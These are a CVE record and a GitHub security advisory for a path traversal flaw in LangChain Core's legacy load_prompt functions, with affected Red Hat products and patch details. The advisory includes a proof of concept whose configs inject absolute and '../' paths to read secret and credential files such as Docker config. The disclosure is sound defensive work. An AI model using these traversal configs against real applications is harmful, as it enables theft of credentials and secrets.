{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-34070",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-03-31T15:17:33.597003Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-03-31T18:04:59.283Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/langchain-ai/langchain/security/advisories/GHSA-qh6h-p6c9-ff54"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "collectionURL": "https://catalog.redhat.com/software/containers/",
            "cpes": [
              "cpe:/a:redhat:ansible_automation_platform:2.5::el8"
            ],
            "defaultStatus": "affected",
            "packageName": "ansible-automation-platform-25/lightspeed-rhel8",
            "product": "Red Hat Ansible Automation Platform 2.5",
            "vendor": "Red Hat",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "1780082949",
                "versionType": "rpm"
              }
            ]
          },
          {
            "collectionURL": "https://catalog.redhat.com/software/containers/",
            "cpes": [
              "cpe:/a:redhat:openshift_ai:3.3::el9"
            ],
            "defaultStatus": "affected",
            "packageName": "rhoai/odh-llama-stack-core-rhel9",
            "product": "Red Hat OpenShift AI 3.3",
            "vendor": "Red Hat",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "1782471587",
                "versionType": "rpm"
              }
            ]
          },
          {
            "collectionURL": "https://catalog.redhat.com/software/containers/",
            "cpes": [
              "cpe:/a:redhat:openshift_ai:3.3::el9"
            ],
            "defaultStatus": "affected",
            "packageName": "rhoai/odh-trustyai-nemo-guardrails-server-rhel9",
            "product": "Red Hat OpenShift AI 3.3",
            "vendor": "Red Hat",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "1782471606",
                "versionType": "rpm"
              }
            ]
          },
          {
            "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
            "cpes": [
              "cpe:/a:redhat:openshift_lightspeed"
            ],
            "defaultStatus": "affected",
            "packageName": "openshift-lightspeed/lightspeed-service-api-rhel9",
            "product": "OpenShift Lightspeed",
            "vendor": "Red Hat"
          },
          {
            "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
            "cpes": [
              "cpe:/a:redhat:ansible_automation_platform:2"
            ],
            "defaultStatus": "affected",
            "packageName": "ansible-automation-platform-25/lightspeed-chatbot-rhel8",
            "product": "Red Hat Ansible Automation Platform 2",
            "vendor": "Red Hat"
          },
          {
            "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
            "cpes": [
              "cpe:/a:redhat:ansible_automation_platform:2"
            ],
            "defaultStatus": "affected",
            "packageName": "ansible-automation-platform-26/lightspeed-rhel9",
            "product": "Red Hat Ansible Automation Platform 2",
            "vendor": "Red Hat"
          },
          {
            "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
            "cpes": [
              "cpe:/a:redhat:openshift_ai"
            ],
            "defaultStatus": "unaffected",
            "packageName": "rhoai/odh-mlflow-rhel9",
            "product": "Red Hat OpenShift AI (RHOAI)",
            "vendor": "Red Hat"
          }
        ],
        "datePublic": "2026-03-31T02:01:49.320Z",
        "descriptions": [
          {
            "lang": "en",
            "value": "A flaw was found in LangChain. Multiple functions in `langchain_core.prompts.loading` read files from paths embedded in deserialized configuration dictionaries without validation for directory traversal or absolute path injection. When an application passes user-influenced prompt configurations to `load_prompt()` or `load_prompt_from_config()`, an attacker can read arbitrary files on the host filesystem."
          }
        ],
        "metrics": [
          {
            "other": {
              "content": {
                "namespace": "https://access.redhat.com/security/updates/classification/",
                "value": "Important"
              },
              "type": "Red Hat severity rating"
            }
          },
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "NETWORK",
              "availabilityImpact": "NONE",
              "baseScore": 7.5,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "NONE",
              "privilegesRequired": "NONE",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
              "version": "3.1"
            },
            "format": "CVSS"
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-22",
                "description": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-07-15T01:04:44.971Z",
          "orgId": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
          "shortName": "redhat-SADP"
        },
        "references": [
          {
            "tags": [
              "vdb-entry",
              "x_refsource_REDHAT"
            ],
            "url": "https://access.redhat.com/security/cve/CVE-2026-34070"
          },
          {
            "name": "RHBZ#2453287",
            "tags": [
              "issue-tracking",
              "x_refsource_REDHAT"
            ],
            "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2453287"
          },
          {
            "tags": [
              "x_sadp-csaf-vex"
            ],
            "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-34070.json"
          },
          {
            "tags": [
              "vendor-advisory",
              "x_refsource_REDHAT"
            ],
            "url": "https://access.redhat.com/errata/RHSA-2026:24766"
          },
          {
            "tags": [
              "vendor-advisory",
              "x_refsource_REDHAT"
            ],
            "url": "https://access.redhat.com/errata/RHSA-2026:37275"
          }
        ],
        "solutions": [
          {
            "lang": "en",
            "value": "RHSA-2026:24766: Red Hat Ansible Automation Platform 2.5"
          },
          {
            "lang": "en",
            "value": "RHSA-2026:37275: Red Hat OpenShift AI 3.3"
          }
        ],
        "timeline": [
          {
            "lang": "en",
            "time": "2026-03-31T03:02:19.523Z",
            "value": "Reported to Red Hat."
          },
          {
            "lang": "en",
            "time": "2026-03-31T02:01:49.320Z",
            "value": "Made public."
          }
        ],
        "title": "langchain: path traversal in legacy load_prompt functions in langchain-core",
        "workarounds": [
          {
            "lang": "en",
            "value": "As described in the statement section, the vulnerable methods are legacy APIs and their use should be avoided. To mitigate this issue, the dumpd, dumps, load and loads methods from langchain_core.load should be used, as they supersede the legacy API and provide a more secure serialization model."
          }
        ],
        "x_adpType": "supplier",
        "x_generator": {
          "engine": "sadp-cli 1.0.0"
        }
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "langchain",
          "vendor": "langchain-ai",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.2.22"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "LangChain is a framework for building agents and LLM-powered applications. Prior to version 1.2.22, multiple functions in langchain_core.prompts.loading read files from paths embedded in deserialized config dicts without validating against directory traversal or absolute path injection. When an application passes user-influenced prompt configurations to load_prompt() or load_prompt_from_config(), an attacker can read arbitrary files on the host filesystem, constrained only by file-extension checks (.txt for templates, .json/.yaml for examples). This issue has been patched in version 1.2.22."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-03-31T02:01:49.320Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/langchain-ai/langchain/security/advisories/GHSA-qh6h-p6c9-ff54",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/langchain-ai/langchain/security/advisories/GHSA-qh6h-p6c9-ff54"
        },
        {
          "name": "https://github.com/langchain-ai/langchain/commit/27add913474e01e33bededf4096151130ba0d47c",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/langchain-ai/langchain/commit/27add913474e01e33bededf4096151130ba0d47c"
        },
        {
          "name": "https://github.com/langchain-ai/langchain/releases/tag/langchain-core==1.2.22",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/langchain-ai/langchain/releases/tag/langchain-core==1.2.22"
        }
      ],
      "source": {
        "advisory": "GHSA-qh6h-p6c9-ff54",
        "discovery": "UNKNOWN"
      },
      "title": "LangChain Core has Path Traversal vulnerabilites in legacy `load_prompt` functions"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-34070",
    "datePublished": "2026-03-31T02:01:49.320Z",
    "dateReserved": "2026-03-25T16:21:40.867Z",
    "dateUpdated": "2026-07-15T01:04:44.971Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "langchain-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.2.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34070"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-27T19:45:00Z",
    "nvd_published_at": "2026-03-31T03:15:58Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nMultiple functions in `langchain_core.prompts.loading` read files from paths embedded in deserialized config dicts without validating against directory traversal or absolute path injection. When an application passes user-influenced prompt configurations to `load_prompt()` or `load_prompt_from_config()`, an attacker can read arbitrary files on the host filesystem, constrained only by file-extension checks (`.txt` for templates, `.json`/`.yaml` for examples).\n\n**Note:** The affected functions (`load_prompt`, `load_prompt_from_config`, and the `.save()` method on prompt classes) are undocumented legacy APIs. They are superseded by the `dumpd`/`dumps`/`load`/`loads` serialization APIs in `langchain_core.load`, which do not perform filesystem reads and use an allowlist-based security model. As part of this fix, the legacy APIs have been formally deprecated and will be removed in 2.0.0.\n\n## Affected component\n\n**Package:** `langchain-core`\n**File:** `langchain_core/prompts/loading.py`\n**Affected functions:** `_load_template()`, `_load_examples()`, `_load_few_shot_prompt()`\n\n## Severity\n\n**High** \n\nThe score reflects the file-extension constraints that limit which files can be read.\n\n## Vulnerable code paths\n\n| Config key | Loaded by | Readable extensions |\n|---|---|---|\n| `template_path`, `suffix_path`, `prefix_path` | `_load_template()` | `.txt` |\n| `examples` (when string) | `_load_examples()` | `.json`, `.yaml`, `.yml` |\n| `example_prompt_path` | `_load_few_shot_prompt()` | `.json`, `.yaml`, `.yml` |\n\nNone of these code paths validated the supplied path against absolute path injection or `..` traversal sequences before reading from disk.\n\n## Impact\n\nAn attacker who controls or influences the prompt configuration dict can read files outside the intended directory:\n\n- **`.txt` files:** cloud-mounted secrets (`/mnt/secrets/api_key.txt`), `requirements.txt`, internal system prompts\n- **`.json`/`.yaml` files:** cloud credentials (`~/.docker/config.json`, `~/.azure/accessTokens.json`), Kubernetes manifests, CI/CD configs, application settings\n\nThis is exploitable in applications that accept prompt configs from untrusted sources, including low-code AI builders and API wrappers that expose `load_prompt_from_config()`.\n\n## Proof of concept\n\n```python\nfrom langchain_core.prompts.loading import load_prompt_from_config\n\n# Reads /tmp/secret.txt via absolute path injection\nconfig = {\n    \"_type\": \"prompt\",\n    \"template_path\": \"/tmp/secret.txt\",\n    \"input_variables\": [],\n}\nprompt = load_prompt_from_config(config)\nprint(prompt.template)  # file contents disclosed\n\n# Reads ../../etc/secret.txt via directory traversal\nconfig = {\n    \"_type\": \"prompt\",\n    \"template_path\": \"../../etc/secret.txt\",\n    \"input_variables\": [],\n}\nprompt = load_prompt_from_config(config)\n\n# Reads arbitrary .json via few-shot examples\nconfig = {\n    \"_type\": \"few_shot\",\n    \"examples\": \"../../../../.docker/config.json\",\n    \"example_prompt\": {\n        \"_type\": \"prompt\",\n        \"input_variables\": [\"input\", \"output\"],\n        \"template\": \"{input}: {output}\",\n    },\n    \"prefix\": \"\",\n    \"suffix\": \"{query}\",\n    \"input_variables\": [\"query\"],\n}\nprompt = load_prompt_from_config(config)\n```\n\n## Mitigation\n\n**Update `langchain-core` to \u003e= 1.2.22.**\n\nThe fix adds path validation that rejects absolute paths and `..` traversal sequences by default. An `allow_dangerous_paths=True` keyword argument is available on `load_prompt()` and `load_prompt_from_config()` for trusted inputs.\n\nAs described above, these legacy APIs have been formally deprecated. Users should migrate to `dumpd`/`dumps`/`load`/`loads` from `langchain_core.load`.\n\n## Credit\n\n- [jiayuqi7813](https://github.com/jiayuqi7813) reporter\n- [VladimirEliTokarev](https://github.com/VladimirEliTokarev) reporter\n- [Rickidevs](https://github.com/Rickidevs) reporter\n- Kenneth Cox (cczine@gmail.com) reporter",
  "id": "GHSA-qh6h-p6c9-ff54",
  "modified": "2026-03-31T18:41:12Z",
  "published": "2026-03-27T19:45:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/langchain-ai/langchain/security/advisories/GHSA-qh6h-p6c9-ff54"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34070"
    },
    {
      "type": "WEB",
      "url": "https://github.com/langchain-ai/langchain/commit/27add913474e01e33bededf4096151130ba0d47c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/langchain-ai/langchain"
    },
    {
      "type": "WEB",
      "url": "https://github.com/langchain-ai/langchain/releases/tag/langchain-core==1.2.22"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "LangChain Core has Path Traversal vulnerabilites in legacy `load_prompt` functions"
}